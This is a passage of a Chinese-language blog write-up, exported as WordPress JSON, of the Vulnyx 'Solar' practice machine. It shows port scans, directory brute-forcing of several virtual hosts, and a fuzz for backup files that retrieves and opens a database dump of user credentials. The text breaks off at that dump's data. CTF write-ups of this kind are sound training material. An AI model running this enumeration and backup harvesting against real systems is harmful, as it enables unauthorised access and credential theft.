{"id":928,"date":"2026-01-03T15:15:33","date_gmt":"2026-01-03T07:15:33","guid":{"rendered":"http:\/\/162.14.82.114\/?p=928"},"modified":"2026-01-03T15:15:33","modified_gmt":"2026-01-03T07:15:33","slug":"vulnyx-%e3%83%bc%e3%80%83solar","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/928\/01\/03\/2026\/","title":{"rendered":"Vulnyx (\u00b0\u30fc\u00b0\u3003)Solar"},"content":{"rendered":"<h1>(\u00b0\u30fc\u00b0\u3003)Solar<\/h1>\n<blockquote>\n<p>\u542c\u8bf4\u8fd9\u662f\u4e00\u53f0\u8d85\u7ea7\u590d\u6742\u7684\u9776\u673a\uff0c\u597d\u4e45\u6ca1\u505a\u9776\u673a\u4e86\uff0c\u770b\u4e00\u4e0b\u8fd9\u4e2a\u9776\u673a\u6709\u591a\u590d\u6742\u3002\u3002\u3002\u3002\u3002\u3002<\/p>\n<\/blockquote>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459484.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459484.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102120504842\" style=\"zoom: 80%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459487.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459487.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102120836081\" style=\"zoom: 80%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459488.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459488.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102120951177\" style=\"zoom: 80%;\" \/><\/div><\/p>\n<h2>\u4fe1\u606f\u641c\u96c6<\/h2>\n<h3>\u7aef\u53e3\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ rustscan -a $IP -- -sCV\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-&#039; `-&#039;`-----&#039;`----&#039;  `-&#039;  `----&#039;  `---&#039; `-&#039;  `-&#039;`-&#039; `-&#039;\nThe Modern Day Port Scanner.\n________________________________________\n: http:\/\/discord.skerritt.blog         :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\n0day was here \u2665\n\n[~] The config file is expected to be at &quot;\/home\/kali\/.rustscan.toml&quot;\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan&#039;s speed. Use the Docker image, or up the Ulimit with &#039;--ulimit 5000&#039;. \nOpen 192.168.1.108:22\nOpen 192.168.1.108:80\nOpen 192.168.1.108:443\n[~] Starting Script(s)\n[&gt;] Running script &quot;nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sCV&quot; on ip 192.168.1.108\nDepending on the complexity of the script, results may take some time to appear.\n[~] Starting Nmap 7.95 ( https:\/\/nmap.org ) at 2026-01-01 23:11 EST\nNSE: Loaded 157 scripts for scanning.\nNSE: Script Pre-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 23:11\nCompleted NSE at 23:11, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 23:11\nCompleted NSE at 23:11, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 23:11\nCompleted NSE at 23:11, 0.00s elapsed\nInitiating ARP Ping Scan at 23:11\nScanning 192.168.1.108 [1 port]\nCompleted ARP Ping Scan at 23:11, 0.06s elapsed (1 total hosts)\nInitiating Parallel DNS resolution of 1 host. at 23:11\nCompleted Parallel DNS resolution of 1 host. at 23:11, 0.00s elapsed\nDNS resolution of 1 IPs took 0.00s. Mode: Async [#: 2, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]\nInitiating SYN Stealth Scan at 23:11\nScanning anonymous (192.168.1.108) [3 ports]\nDiscovered open port 443\/tcp on 192.168.1.108\nDiscovered open port 80\/tcp on 192.168.1.108\nDiscovered open port 22\/tcp on 192.168.1.108\nCompleted SYN Stealth Scan at 23:11, 0.04s elapsed (3 total ports)\nInitiating Service scan at 23:11\nScanning 3 services on anonymous (192.168.1.108)\nCompleted Service scan at 23:11, 12.24s elapsed (3 services on 1 host)\nNSE: Script scanning 192.168.1.108.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 23:11\nCompleted NSE at 23:11, 0.78s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 23:11\nCompleted NSE at 23:11, 1.21s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 23:11\nCompleted NSE at 23:11, 0.00s elapsed\nNmap scan report for anonymous (192.168.1.108)\nHost is up, received arp-response (0.0010s latency).\nScanned at 2026-01-01 23:11:07 EST for 14s\n\nPORT    STATE SERVICE  REASON         VERSION\n22\/tcp  open  ssh      syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)\n| ssh-hostkey: \n|   256 00:31:c1:0a:8b:0f:c9:45:e7:2f:7f:06:0c:4f:cb:42 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBBCfKYiX0XS6Bbc24efX4FcBNZhVZRq49IZpDO1CBBFeHsYyaa2KB\/ato4Retzm6mePIKD2q+AD9PP4VC79I7s=\n|   256 6b:04:c5:5d:39:ed:b3:41:d0:23:2b:77:d1:53:d0:48 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE1RWzu6r\/g8tuNndoouxbD5FvlSQOnWDDn6ufvEo06d\n80\/tcp  open  http     syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))\n|_http-title: Site doesn&#039;t have a title (text\/html).\n| http-methods: \n|_  Supported Methods: GET POST OPTIONS HEAD\n|_http-server-header: Apache\/2.4.62 (Debian)\n443\/tcp open  ssl\/http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))\n|_http-title: Solar Energy Control Login\n|_http-server-header: Apache\/2.4.62 (Debian)\n|_http-favicon: Unknown favicon MD5: 20294B7D37E757C2C664F3B09517A470\n| ssl-cert: Subject: commonName=www.solar.nyx\/organizationName=Solar\/stateOrProvinceName=Madrid\/countryName=ES\/localityName=Madrid\/organizationalUnitName=IT\n| Subject Alternative Name: DNS:www.solar.nyx, DNS:www.sunfriends.nyx\n| Issuer: commonName=www.solar.nyx\/organizationName=Solar\/stateOrProvinceName=Madrid\/countryName=ES\/localityName=Madrid\/organizationalUnitName=IT\n| Public Key type: rsa\n| Public Key bits: 2048\n| Signature Algorithm: sha256WithRSAEncryption\n| Not valid before: 2024-10-10T00:03:30\n| Not valid after:  2034-10-08T00:03:30\n| MD5:   0a03:37bc:7f92:a9e5:b79c:98d9:f9e6:0835\n| SHA-1: e414:cf4d:d8d3:43a3:748e:c90c:0ce9:f713:e88d:138b\n| -----BEGIN CERTIFICATE-----\n| MIIDpTCCAo2gAwIBAgIUR6TZBu1Gr7CmOLmGXDd5PJGPpy8wDQYJKoZIhvcNAQEL\n| BQAwZDELMAkGA1UEBhMCRVMxDzANBgNVBAgMBk1hZHJpZDEPMA0GA1UEBwwGTWFk\n| cmlkMQ4wDAYDVQQKDAVTb2xhcjELMAkGA1UECwwCSVQxFjAUBgNVBAMMDXd3dy5z\n| b2xhci5ueXgwHhcNMjQxMDEwMDAwMzMwWhcNMzQxMDA4MDAwMzMwWjBkMQswCQYD\n| VQQGEwJFUzEPMA0GA1UECAwGTWFkcmlkMQ8wDQYDVQQHDAZNYWRyaWQxDjAMBgNV\n| BAoMBVNvbGFyMQswCQYDVQQLDAJJVDEWMBQGA1UEAwwNd3d3LnNvbGFyLm55eDCC\n| ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN\/zD8zMKPmhYZSo3SWuBR3n\n| 6jF5HhHzz12Wm\/v5jbvO3N6yktQppec4u\/SDyaJ0YD46D9eQRWym\/Ug3Bg\/D5p63\n| 0qBAG\/WKyPCiSYfgRT+O6eGJwMprjP5fs5Np0mWgSmwy43E2RwFtqGNoCv45cRVM\n| NCzc6buuksOVl+IBVO6ldP51lHW781PxTx7+XCgLRrWBuoTTwWoH0K6KCEEdc6Th\n| FeFHI6FkFpgn9XG5Tj3dKLKctQasG25n06BR3vvvSoE1WWQgo4lBSQKEq3bD8Fpg\n| MpiY7Lk8KoWDIfAmk9EokEb9SrGrVgcEbRbccdjalZ6DIBx31PncWUJoSt4HQgUC\n| AwEAAaNPME0wLAYDVR0RBCUwI4INd3d3LnNvbGFyLm55eIISd3d3LnN1bmZyaWVu\n| ZHMubnl4MB0GA1UdDgQWBBSyqUP\/KMyh7e+m53EzgWrJB0TgcDANBgkqhkiG9w0B\n| AQsFAAOCAQEAlG0044X12UOSc5AJR9vTUL6wgcdckF8dFfw3DM+iIxNuPldtSKj0\n| BWqW9LipaNskxG8ltHhomm\/k9PeB3O+EuXGELkpm1KPMFtHx8QHlMsyI4tSMRYp\/\n| XuSrP5lbAOjJDrZd57Ib4rE9HShtMpA3qM+5yLTJJSTaFtqqIlAMfVv5w4Iuau9c\n| FB3qTgakZ1z2Aoa+jURRH7oob7t7iGUd6lrvg78Yooxx+SP+\/NoY0\/cbfLQK1Vko\n| g12FLYSi0ut9XReyxLZZXG9c3RBTBeUvF2NN3D+KiBXQ7m0Xm1TVhPrVmTlzmqKA\n| sGaU3ev4Gs9w6tNcbr4uK7w1uz71yY3CIw==\n|_-----END CERTIFICATE-----\n| http-methods: \n|_  Supported Methods: GET HEAD POST OPTIONS\n|_ssl-date: TLS randomness does not represent time\n| tls-alpn: \n|_  http\/1.1\nMAC Address: 08:00:27:18:8D:4B (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n<p>\u6ce8\u610f\u5230\u4e86\u4e24\u4e2adns\u89e3\u6790\uff1a<\/p>\n<pre><code class=\"language-text\">Subject Alternative Name: DNS:www.solar.nyx, DNS:www.sunfriends.nyx<\/code><\/pre>\n<p>\u6dfb\u52a0\u5230<code>\/etc\/hosts<\/code><\/p>\n<pre><code class=\"language-text\">192.168.1.108     www.solar.nyx  www.sunfriends.nyx<\/code><\/pre>\n<h3>\u76ee\u5f55\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ gobuster dir -u http:\/\/$IP\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,txt,html,zip\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.1.108\/\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,txt,html,zip\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/.php                 (Status: 403) [Size: 278]\n\/.html                (Status: 403) [Size: 278]\n\/index.html           (Status: 200) [Size: 455]\n\/.html                (Status: 403) [Size: 278]\n\/.php                 (Status: 403) [Size: 278]\n\/server-status        (Status: 403) [Size: 278]\nProgress: 1102800 \/ 1102805 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n<p>\u518d\u626b\u4e00\u4e0bdns\u89e3\u6790\u7684\u90a3\u4fe9\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ gobuster dir -u http:\/\/www.solar.nyx -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,txt,html    \n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/www.solar.nyx\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,txt,html\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/.html                (Status: 403) [Size: 278]\n\/.php                 (Status: 403) [Size: 278]\n\/index.html           (Status: 200) [Size: 455]\n\/.html                (Status: 403) [Size: 278]\n\/.php                 (Status: 403) [Size: 278]\n\/server-status        (Status: 403) [Size: 278]\nProgress: 882240 \/ 882244 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n<p>\u65e0\u529f\u800c\u8fd4\uff0c\u8fd9\u662f\u5f88\u6b63\u5e38\u7684\uff0c\u5c1d\u8bd5\u8bbf\u95ee\u76ee\u6807IP\u53d1\u73b0\u8fdb\u884c\u4e86\u8df3\u8f6c\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ curl -i http:\/\/192.168.1.108\nHTTP\/1.1 200 OK\nDate: Fri, 02 Jan 2026 04:30:46 GMT\nServer: Apache\/2.4.62 (Debian)\nLast-Modified: Wed, 09 Oct 2024 23:35:10 GMT\nETag: &quot;1c7-62413b4741ff1&quot;\nAccept-Ranges: bytes\nContent-Length: 455\nVary: Accept-Encoding\nContent-Type: text\/html\n\n&lt;!DOCTYPE html PUBLIC &quot;-\/\/W3C\/\/DTD XHTML 1.0 Transitional\/\/EN&quot; &quot;http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-transitional.dtd&quot;&gt;\n&lt;html xmlns=&quot;http:\/\/www.w3.org\/1999\/xhtml&quot;&gt;\n  &lt;head&gt;\n    &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text\/html; charset=UTF-8&quot; \/&gt;\n    &lt;meta http-equiv=&quot;refresh&quot; content=&quot;1;url=https:\/\/www.solar.nyx\/&quot;&gt;\n    &lt;meta name=&quot;robots&quot; content=&quot;noindex&quot;&gt;\n    &lt;link rel=&quot;canonical&quot; href=&quot;https:\/\/www.solar.nyx\/&quot;&gt;\n  &lt;\/head&gt;\n  &lt;body&gt;&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n<p>\u52a0\u5165<code>-k<\/code>\u9009\u9879\u91cd\u65b0\u8fdb\u884c\u626b\u63cf\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ gobuster dir -u https:\/\/www.solar.nyx -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,txt,html -k\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     https:\/\/www.solar.nyx\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,txt,html\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/.php                 (Status: 403) [Size: 279]\n\/index.php            (Status: 200) [Size: 745]\n\/.html                (Status: 403) [Size: 279]\n\/login.php            (Status: 200) [Size: 0]\n\/logout.php           (Status: 302) [Size: 0] [--&gt; index.php?msg=Log-out.]\n\/dashboard.php        (Status: 302) [Size: 0] [--&gt; index.php]\n\/records              (Status: 301) [Size: 318] [--&gt; https:\/\/www.solar.nyx\/records\/]\n\/session.php          (Status: 200) [Size: 0]\n\/.html                (Status: 403) [Size: 279]\n\/.php                 (Status: 403) [Size: 279]\n\/server-status        (Status: 403) [Size: 279]\nProgress: 882240 \/ 882244 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n<p>\u540c\u7406\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ gobuster dir -u https:\/\/www.sunfriends.nyx -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,txt,html -k\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     https:\/\/www.sunfriends.nyx\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,txt,html\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/.php                 (Status: 403) [Size: 284]\n\/.html                (Status: 403) [Size: 284]\n\/index.php            (Status: 200) [Size: 11089]\n\/server.php           (Status: 200) [Size: 1523]\n\/commands             (Status: 301) [Size: 329] [--&gt; https:\/\/www.sunfriends.nyx\/commands\/]\n\/.php                 (Status: 403) [Size: 284]\n\/.html                (Status: 403) [Size: 284]\n\/server-status        (Status: 403) [Size: 284]\nProgress: 882240 \/ 882244 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n<p>\u51c6\u5907\u5de5\u4f5c\u7ed3\u675f\u4e86\u3002\u3002\u3002\u3002\u3002\u3002<\/p>\n<h2>\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n<h3>\u8e29\u70b9<\/h3>\n<p>\u5148\u770b\u4e00\u4e0b<code>www.solar.nyx<\/code><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459489.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459489.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102123634231\" style=\"zoom:67%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u4e00\u4e0b\u7b80\u5355\u7684\u4e07\u80fd\u5bc6\u7801\u53d1\u73b0\u65e0\u679c\uff0c\u7b49\u770b\u4e00\u4e0b\u654f\u611f\u76ee\u5f55\uff0c\u5982\u679c\u6ca1\u529e\u6cd5\u518d\u8003\u8651<code>sql<\/code>\u6ce8\u5165\uff0c\u7248\u672c\u6f0f\u6d1e\uff0c\u7206\u7834\u4e4b\u7c7b\u7684\uff0c\u518d\u770b\u4e00\u4e0b<code>https:\/\/www.sunfriends.nyx\/<\/code>\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459490.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459490.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102130253719\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>\u89e3\u6cd51\uff1a\u654f\u611f\u76ee\u5f55 =&gt; \u6570\u636e\u5e93<\/h3>\n<p>\u770b\u4e00\u4e0b\u90a3\u4e9b\u654f\u611f\u76ee\u5f55\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459491.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459491.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102124340819\" style=\"zoom:80%;\" \/><\/div><\/p>\n<p>\u6ca1\u5565\u7528\uff0c\u6ce8\u610f\u5230<code>www.sunfriends.nyx<\/code>\u4e0a\u9762\u5199\u7684\u5185\u5bb9\uff1a<\/p>\n<pre><code class=\"language-text\">The forum is temporarily unavailable due to maintenance on the server.\n\u7531\u4e8e\u670d\u52a1\u5668\u7ef4\u62a4\uff0c\u8bba\u575b\u6682\u65f6\u65e0\u6cd5\u8bbf\u95ee\u3002\nWe apologize for the inconvenience.\n\u5bf9\u4e8e\u7ed9\u60a8\u5e26\u6765\u7684\u4e0d\u4fbf\uff0c\u6211\u4eec\u6df1\u8868\u6b49\u610f\u3002<\/code><\/pre>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u6a21\u7cca\u6d4b\u8bd5\uff0c\u67e5\u770b\u662f\u5426\u53ef\u4ee5\u627e\u5230\u5907\u4efd\u6570\u636e\u5e93\u6216\u8005\u5176\u4ed6\u6587\u4ef6<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ gobuster dir -u https:\/\/www.sunfriends.nyx -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x bak,old,orig,backup,save,sql,sql.gz,sql.bz2,sql.xz,dump,psql,mdb,accdb,ibd,frm,sqlite,db,db3,tar.gz,tgz,tar.bz2,tar.xz,zip,7z,tmp,temp,swp,swo -k                            \n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     https:\/\/www.sunfriends.nyx\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              save,accdb,sqlite,db3,tar.bz2,7z,orig,backup,sql.xz,psql,db,tgz,zip,tmp,old,sql.bz2,dump,ibd,frm,swp,swo,bak,sql,sql.gz,mdb,tar.gz,tar.xz,temp\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/database.sql.gz      (Status: 200) [Size: 1010]<\/code><\/pre>\n<p>\u627e\u5230\u4e86\u4e00\u4e2a\u6587\u4ef6\uff0c\u4e0b\u8f7d\u770b\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ wget --no-check-certificate https:\/\/www.sunfriends.nyx\/database.sql.gz\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ gunzip -c database.sql.gz             \n-- MariaDB dump 10.19  Distrib 10.11.6-MariaDB, for debian-linux-gnu (x86_64)\n--\n-- Host: localhost    Database: solar_energy_db\n-- ------------------------------------------------------\n-- Server version       10.11.6-MariaDB-0+deb12u1\n\n\/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT *\/;\n\/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS *\/;\n\/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION *\/;\n\/*!40101 SET NAMES utf8mb4 *\/;\n\/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE *\/;\n\/*!40103 SET TIME_ZONE=&#039;+00:00&#039; *\/;\n\/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 *\/;\n\/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 *\/;\n\/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE=&#039;NO_AUTO_VALUE_ON_ZERO&#039; *\/;\n\/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 *\/;\n\n--\n-- Table structure for table `users`\n--\n\nDROP TABLE IF EXISTS `users`;\n\/*!40101 SET @saved_cs_client     = @@character_set_client *\/;\n\/*!40101 SET character_set_client = utf8 *\/;\nCREATE TABLE `users` (\n  `id` int(11) NOT NULL AUTO_INCREMENT,\n  `username` varchar(50) NOT NULL,\n  `password` varchar(64) NOT NULL,\n  `role` varchar(20) NOT NULL,\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;\n\/*!40101 SET character_set_client = @saved_cs_client *\/;\n\n--\n-- Dumping data for table `users`\n--\n\nLOCK TABLES `users` WRITE;\n\/*!40000 ALTER TABLE `users` DISABLE KEYS *\/;\nINSERT INTO `users` 